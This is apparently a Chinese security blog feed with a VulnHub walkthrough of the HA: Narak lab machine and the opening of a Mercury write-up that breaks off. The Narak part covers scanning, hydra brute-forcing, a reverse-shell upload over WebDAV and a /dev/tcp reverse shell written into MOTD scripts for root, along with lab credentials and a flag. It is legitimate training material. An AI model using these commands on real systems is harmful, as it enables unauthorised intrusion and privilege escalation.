&lt;li&gt;Nmap 信息收集与漏洞扫描&lt;/li&gt;
&lt;li&gt;TFTP 枚举与文件下载&lt;/li&gt;
&lt;li&gt;WebDAV 认证与 PUT 方法上传 Webshell&lt;/li&gt;
&lt;li&gt;Base64 解码获取凭据&lt;/li&gt;
&lt;li&gt;目录扫描（dirsearch / gobuster）&lt;/li&gt;
&lt;li&gt;Brainfuck 编码解密&lt;/li&gt;
&lt;li&gt;可写文件提权（/mnt/hell.sh + motd）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;靶场信息&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;靶机名&lt;/td&gt;
&lt;td&gt;HA: Narak&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 IP&lt;/td&gt;
&lt;td&gt;192.168.200.128&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 URL&lt;/td&gt;
&lt;td&gt;https://www.vulnhub.com/entry/ha-narak,569/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;下载（镜像）&lt;/td&gt;
&lt;td&gt;https://download.vulnhub.com/ha/narak.ova&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;思维导图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/HA_Narak_%E6%94%BB%E5%87%BB%E9%93%BE%E6%80%9D%E7%BB%B4%E5%AF%BC%E5%9B%BE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;1. 信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap 信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;p&gt;主机探测完成后进行端口扫描，共发现两个有效端口。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT -p- --min-rate 10000 192.168.200.128 -oA ports
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/Snipaste_2026-06-04_16-29-06.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT -sC -sV -O -p22,80 192.168.200.128 -oA detials
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/Snipaste_2026-06-04_16-30-36.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;p&gt;漏洞扫描耗时较长，可以与后续的探测同步进行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap --script=vuln -p22,80 192.168.200.128 -oA vuln
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/Snipaste_2026-06-04_16-38-17.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;扫描结果中发现了两个有意思的目录，后续可以重点跟进，不过常规扫描不能有遗漏。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; http-enum:

|   /images/: Potentially interesting directory w/ listing on &apos;apache/2.4.29 (ubuntu)&apos;

|_  /webdav/: Potentially interesting folder (401 Unauthorized)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;UDP 扫描&lt;/h3&gt;
&lt;p&gt;补了一个 UDP 扫描，确保没有遗漏开放的 UDP 服务。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sU --top-ports 20 192.168.200.128 -oA udp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/image-20260606220607944.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;好在做了这一步，不然会遗漏重要信息。扫描发现了两个开放的服务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;68/udp    open|filtered dhcpc

69/udp    open|filtered tftp
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;1.2 Web 探测&lt;/h2&gt;
&lt;h3&gt;目录枚举（dirsearch）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u &quot;http://192.168.200.128/&quot; -oA dirs.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/image-20260606225043715.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 关键结果：
[04:35:01] 301 -  319B  - /images  -&amp;gt;  http://192.168.200.128/images/
[04:35:01] 200 -  706B  - /images/
[04:35:08] 403 -  280B  - /server-status
[04:35:13] 401 -  462B  - /webdav/          # &amp;lt;-- 需要认证
[04:35:13] 401 -  462B  - /webdav/index.html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Web 主页是一个图片展示页面，虽然图片数量较多，理论上存在图片隐写的可能，但优先级不高，暂时放弃，先去探索其他方向。&lt;/p&gt;
&lt;h4&gt;/webdav&lt;/h4&gt;
&lt;p&gt;访问该路径需要通过 HTTP 基本认证，简单尝试了几个弱密码均无果，后续可能需要进行爆破或在系统中寻找相关凭证。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/Snipaste_2026-06-04_16-59-01.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里尝试使用常见弱密码字典进行爆破：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra -L /usr/share/wordlists/metasploit/http_default_users.txt \
      -P /usr/share/wordlists/metasploit/http_default_pass.txt \
      192.168.200.128 http-get /webdav/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;暴力破解无果，决定转去收集相关凭证信息。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;目录扫描（gobuster）&lt;/h3&gt;
&lt;p&gt;dirsearch 没扫出什么有价值的东西，换 gobuster 配合更大字典重扫，并加上限定后缀名，主要目的是寻找凭证相关文件。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;补充扫描时推荐加上 gobuster 默认不扫的扩展名，比如：zip、bak、rar、sql、txt&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://192.168.200.128 \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,html,txt,bak \
    -t 50
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/Snipaste_2026-06-04_17-24-52.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;果然发现了之前遗漏掉的信息。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/tips.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问 &lt;code&gt;http://192.168.200.128/tips.txt&lt;/code&gt;，内容提示凭据在 &lt;code&gt;creds.txt&lt;/code&gt; 里。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/image-20260606231746069.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1.3 TFTP 探测&lt;/h2&gt;
&lt;p&gt;UDP 扫描发现 &lt;code&gt;69/udp open|filtered tftp&lt;/code&gt;。TFTP 是一个基于 UDP 的轻量级文件传输工具，虽然无法列目录，但可以通过已知文件名直接尝试下载。&lt;/p&gt;
&lt;p&gt;结合 tips.txt 的提示，通过 TFTP 下载 &lt;code&gt;creds.txt&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/Snipaste_2026-06-04_17-27-39.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;文件中存放了一段 Base64 编码的密文：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat creds.txt 
eWFtZG9vdDpTd2FyZw==
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解码得到明文凭据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat creds.txt | base64 -d &amp;gt; bd.txt
$ cat bd.txt
yamdoot:Swarg
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;2. 渗透阶段&lt;/h1&gt;
&lt;h2&gt;2.1 WebDAV Webshell 上传&lt;/h2&gt;
&lt;p&gt;拿到凭据后尝试登录 &lt;code&gt;/webdav/&lt;/code&gt;，页面空白但认证成功。查询相关资料得知，WebDAV 是 HTTP 协议的文件管理扩展，原生支持 PUT 方法直接上传文件，不需要表单入口。&lt;/p&gt;
&lt;p&gt;注意这里 WebDAV 使用的是 Digest 认证（而非 Basic Auth），curl 需要加 &lt;code&gt;--digest&lt;/code&gt; 参数才能完成两步握手流程。&lt;/p&gt;
&lt;p&gt;当然在上传文件之前，可以用 davtest 检查 WebDAV 支持哪些操作权限：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ davtest -url http://192.168.200.128/webdav -auth yamdoot:Swarg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/image-20260607113429830.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确认可以上传 PHP 文件，且 Checking for test file execution 中显示 PHP 文件具有执行权限。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/Snipaste_2026-06-04_17-29-45.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Curl 方式上传&lt;/h3&gt;
&lt;p&gt;上传反弹 shell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ curl --digest -u &apos;yamdoot:Swarg&apos; \
    -T shell.php \
    http://192.168.200.128/webdav/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/Snipaste_2026-06-04_17-42-26.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;http://192.168.200.128/webdav/shell.php&lt;/code&gt; 触发反弹 shell，本地监听端口成功收到连接获得 &lt;strong&gt;WebShell&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/Snipaste_2026-06-04_17-43-11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Cadaver 方式上传&lt;/h3&gt;
&lt;p&gt;相比 curl 的繁琐，其实有很多 WebDAV 工具可以直接交互连接：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cadaver http://192.168.200.128/webdav
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/image-20260607113855337.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;3. 提权&lt;/h1&gt;
&lt;p&gt;获得 webshell 后，先升级到交互式 shell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3.1 横向移动&lt;/h2&gt;
&lt;p&gt;对系统进行了基础的信息收集，检查 SUID 文件权限、定时任务、版本信息等，均没有收获。用已知凭据尝试切换到其他用户也没有成功。&lt;/p&gt;
&lt;p&gt;随后翻看 &lt;code&gt;/home&lt;/code&gt; 目录，在 &lt;code&gt;inferno&lt;/code&gt; 用户目录下找到了 user flag：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@ubuntu:/home$ ls -liah inferno
total 24K
1062644 drwxr-xr-x 2 inferno inferno 4.0K Sep 22  2020 .
1048577 drwxr-xr-x 5 root    root    4.0K Sep 22  2020 ..
1062646 -rw-r--r-- 1 inferno inferno  220 Sep 22  2020 .bash_logout
1062647 -rw-r--r-- 1 inferno inferno 3.7K Sep 22  2020 .bashrc
1062648 -rw-r--r-- 1 inferno inferno  807 Sep 22  2020 .profile
1062650 -rw-r--r-- 1 root    root      41 Sep 22  2020 user.txt   # &amp;lt;-- 但当前用户能直接读
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;www-data@ubuntu:/home$ cat inferno/user.txt
Flag: {5f95bf06ce19af69bfa5e53f797ce6e2}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找到 user flag 还不够，目标是提权。继续查找当前用户可写的文件，发现了一个有意思的 shell 脚本，所有用户均有写权限，所属用户是 root，但问题是我无法直接执行它，需要想办法让其他用户去触发。&lt;/p&gt;
&lt;p&gt;这里走了一段弯路，一直想在当前用户下直接完成提权。回过头来看，这个 shell 脚本里其实藏了一段加密密文，仔细查看文件内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@ubuntu:/home$ find / -writable -type f ! -path &apos;/proc/*&apos; 2&amp;gt;/dev/null

find / -writable -type f ! -path &apos;/proc/*&apos; 2&amp;gt;/dev/null

/mnt/hell.sh**
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/Snipaste_2026-06-04_18-07-32.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打过 CTF 的人应该对这串文字很熟悉，这是一段 Brainfuck 编码。&lt;/p&gt;
&lt;p&gt;在 Kali 中安装 beef 解释器运行后得到凭据：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/image-20260607114441904.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chitragupt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在获得密文之后，我们可以再次尝试对其他用户进行横向移动，用 SSH 去连接我们之前看到的几个用户。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
yamdoot:x:1001:1001:,,,:/home/yamdoot:/bin/bash
inferno:x:1002:1002:,,,:/home/inferno:/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用这个密码切换到 inferno 用户：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/ha_narak/web]
└─$ ssh inferno@192.168.200.128   
# 输入密码：chitragupt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功切换到 inferno。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/image-20260607121857848.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3.2 信息收集（inferno）&lt;/h2&gt;
&lt;h3&gt;可写文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;inferno@ubuntu:~$ find / -writable -type f ! -path &apos;/proc/*&apos; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/Snipaste_2026-06-04_18-48-55.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现两处可利用点：&lt;code&gt;/mnt/hell.sh&lt;/code&gt; 和 &lt;code&gt;/etc/update-motd.d/&lt;/code&gt; 下的多个脚本。&lt;/p&gt;
&lt;h2&gt;3.3 提权利用&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;/etc/update-motd.d/&lt;/code&gt; 里的脚本会在用户 SSH 登录时以 &lt;strong&gt;root 权限&lt;/strong&gt;执行，可以利用 MOTD 机制完成提权——将反弹 shell 写入其中，SSH 登录时即可获取 root 权限。&lt;/p&gt;
&lt;p&gt;往 &lt;code&gt;00-header&lt;/code&gt; 写入反弹 shell ：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;/bin/bash -c &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.200.142/4443 0&amp;gt;&amp;amp;1&quot;&apos; \
    &amp;gt;&amp;gt; /etc/update-motd.d/00-header
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/Snipaste_2026-06-04_18-50-53.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;本地开启监听：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvnp 4443
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SSH 登录 inferno 触发 motd 执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh inferno@192.168.200.128
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功收到 root shell，提权完成。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/Snipaste_2026-06-04_18-52-13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;root.txt&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/HA_Narak/Snipaste_2026-06-04_18-52-38.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;4. 总结&lt;/h1&gt;
&lt;p&gt;整台靶机的难度并不算高，你只需要对 TFTP、WebDAV 有一个简单的了解，就可以获取 Webshell。不过在提权阶段，如果你对 Brainfuck 的编码方式不熟悉的话，就无法进行后续的操作。而且还需要你了解 Linux 中 MOTD 提权的原理，才能完成提权。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;5. 补充&lt;/h1&gt;
&lt;h2&gt;5.1 关于网站目录扫描详细介绍&lt;/h2&gt;
&lt;h3&gt;dirsearch 默认字典&lt;/h3&gt;
&lt;p&gt;dirsearch 内置了一个位于 &lt;code&gt;db/dicc.txt&lt;/code&gt; 的字典，包含约 &lt;strong&gt;10,000&lt;/strong&gt; 条条目。&lt;/p&gt;
&lt;p&gt;在 Kali 上通过 apt 安装的版本，配置文件位于 &lt;code&gt;/etc/dirsearch/default.conf&lt;/code&gt;，可以在里面修改默认字典路径、扩展名、超时等参数。&lt;/p&gt;
&lt;p&gt;dirsearch 字典有个特殊设计：默认情况下 dirsearch 只会将 &lt;code&gt;%EXT%&lt;/code&gt; 关键字替换为扩展名，而不会给每个词条都加扩展名。如果你使用 SecLists 这类不含 &lt;code&gt;%EXT%&lt;/code&gt; 的字典，需要加 &lt;code&gt;-f&lt;/code&gt; / &lt;code&gt;--force-extensions&lt;/code&gt; 参数，才能给每个词条追加扩展名。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;更全面的字典选择&lt;/h3&gt;
&lt;p&gt;字典优先推荐从 &lt;strong&gt;SecLists&lt;/strong&gt; 取，路径在 &lt;code&gt;/usr/share/seclists/Discovery/Web-Content/&lt;/code&gt;，核心推荐：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字典&lt;/th&gt;
&lt;th&gt;条目数&lt;/th&gt;
&lt;th&gt;特点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;raft-small-directories.txt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~20,000&lt;/td&gt;
&lt;td&gt;来自真实爬虫数据，噪声低，快速扫描首选&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;raft-large-directories.txt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~62,000&lt;/td&gt;
&lt;td&gt;RAFT 项目出品，真实网站目录，准确率高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;directory-list-2.3-medium.txt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~220,000&lt;/td&gt;
&lt;td&gt;业界标准字典，来源于 DirBuster，覆盖面广&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;directory-list-2.3-big.txt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~1,200,000&lt;/td&gt;
&lt;td&gt;覆盖最全，耗时长，深度测试用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;common.txt&lt;/code&gt; (dirb 自带)&lt;/td&gt;
&lt;td&gt;~4,600&lt;/td&gt;
&lt;td&gt;最小快速，临时验证用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;SecLists 安装：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install seclists
# 或
git clone https://github.com/danielmiessler/SecLists /usr/share/seclists
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SecLists 在 Kali Linux 上默认附带，是 OSCP、HackTheBox 等实战场景中的默认基线。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OSCP 实战建议策略：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;快速初扫：&lt;code&gt;raft-small-directories.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;标准扫：&lt;code&gt;directory-list-2.3-medium.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;针对 PHP 站点加 &lt;code&gt;-e php,html,txt,bak,old&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;替代工具对比&lt;/h3&gt;
&lt;h4&gt;1. gobuster（OSCP 最常用）&lt;/h4&gt;
&lt;p&gt;Go 编写，速度快，语法直观：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://target \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -x php,html,txt,bak \
  -t 50 \
  --timeout 10s
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. ffuf（更灵活，推荐）&lt;/h4&gt;
&lt;p&gt;模糊测试专用，支持多种场景，过滤功能强：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -u http://target/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -e .php,.html,.txt,.bak \
  -fc 404,403 \
  -t 50
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3. feroxbuster（递归扫描首选）&lt;/h4&gt;
&lt;p&gt;feroxbuster 结合暴力破解与字典来搜索目标目录中未被链接的内容，这类资源可能存储了 Web 应用或运维系统的敏感信息，如源代码、凭据、内网地址等。最大优势是&lt;strong&gt;自动递归&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;feroxbuster -u http://target \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -x php,html,txt \
  -t 50 \
  -L 3          # 递归深度
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4. dirb（轻量，快速验证）&lt;/h4&gt;
&lt;p&gt;内置 &lt;code&gt;common.txt&lt;/code&gt;（4600 词），适合快速初探：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dirb http://target /usr/share/wordlists/dirb/common.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;OSCP 备考推荐工作流&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. dirb common.txt         → 30秒快速摸底
2. gobuster/ffuf + raft-small  → 标准扫描
3. feroxbuster + medium.txt    → 发现有意思目录后递归深挖
4. 针对特定技术栈换专项字典    → 如 /usr/share/seclists/Discovery/Web-Content/CMS/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主要工具推荐顺序：&lt;strong&gt;ffuf &amp;gt; feroxbuster &amp;gt; gobuster&lt;/strong&gt;，dirsearch 适合快速验证，深度扫描换前三者配合 SecLists 更高效。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;6. 参考链接&lt;/h1&gt;
&lt;p&gt;https://www.runoob.com/linux/linux-comm-tftp.html&lt;/p&gt;
&lt;p&gt;https://medium.com/@matei.talpau/ha-narak-writeup-e9d535d1e115&lt;/p&gt;
&lt;p&gt;https://www.bilibili.com/video/BV1R84y1w7MK/?spm_id_from=333.1387.favlist.content.click&amp;amp;vd_source=fb8eb6dfcbd71299a284e8d99e7ec589&lt;/p&gt;
</content:encoded></item><item><title>Vulnhub Mercury WriteUp</title><link>https://blog.owenwoow.com/posts/2026/07/01/mercury/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/07/01/mercury/</guid><description>Mercury 是一台偏简单的靶机，主要练习 Django 调试模式信息泄露、手工 SQL 注入拿凭据，以及横向移动和环境变量劫持提权。</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;靶场介绍&lt;/h3&gt;
&lt;p&gt;Mercury 是一台偏简单的靶机，适合入门到进阶过渡阶段练手，主要练的是 Django 调试模式信息泄露、手工 SQL 注入拿凭据，以及拿到立足点之后的横向移动和环境变量劫持提权。整体攻击链清晰，没有太多绕弯子的地方。&lt;/p&gt;
&lt;h3&gt;靶场信息&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;靶机名称&lt;/td&gt;
&lt;td&gt;Mercury&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 IP&lt;/td&gt;
&lt;td&gt;192.168.200.128&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机官网&lt;/td&gt;
&lt;td&gt;https://www.vulnhub.com/entry/the-planets-mercury,544/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;镜像下载&lt;/td&gt;
&lt;td&gt;https://download.vulnhub.com/theplanets/Mercury.ova&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;涉及工具&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;li&gt;浏览器（手工 SQL 注入）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;1.信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap 信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT -p- --min-rate 10000 192.168.200.128 -oA ports
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
MAC Address: 00:0C:29:AF:1C:5C (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT -sV -sC -O -p22,8080 192.168.200.128 -oA detail
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-25 03:19 -0400
Nmap scan report for 192.168.200.128
Host is up (0.00048s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c8:24:ea:2a:2b:f1:3c:fa:16:94:65:bd:c7:9b:6c:29 (RSA)
|   256 e8:08:a1:8e:7d:5a:bc:5c:66:16:48:24:57:0d:fa:b8 (ECDSA)
|_  256 2f:18:7e:10:54:f7:b9:17:a2:11:1d:8f:b3:30:a5:2a (ED25519)
8080/tcp open  http    WSGIServer 0.2 (Python 3.8.2)
|_http-title: Site doesn&apos;t have a title (text/html; charset=utf-8).
| http-robots.txt: 1 disallowed entry
|_/
MAC Address: 00:0C:29:AF:1C:5C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只有 22 和 8080 两个端口，8080 跑的是 Python WSGIServer，从 banner 基本能判断后端是 Django，重点放在这上面。&lt;/p&gt;
&lt;h2&gt;1.2 Web 探测&lt;/h2&gt;
&lt;p&gt;直接访问 8080，页面报了 Django 的调试错误，说明 &lt;code&gt;DEBUG = True&lt;/code&gt; 还开着：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Mercury/image-20260625161307730.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You&apos;re seeing this error because you have &lt;code&gt;DEBUG = True&lt;/code&gt; in your Django settings file. Change that to &lt;code&gt;False&lt;/code&gt;, and Django will display a standard 404 page.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;调试页里直接把路由配置暴露出来了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Using the URLconf defined in `mercury_proj.urls`, Django tried these URL patterns, in this order:

1. [name=&apos;index&apos;]
2. robots.txt [name=&apos;robots&apos;]
3. mercuryfacts/

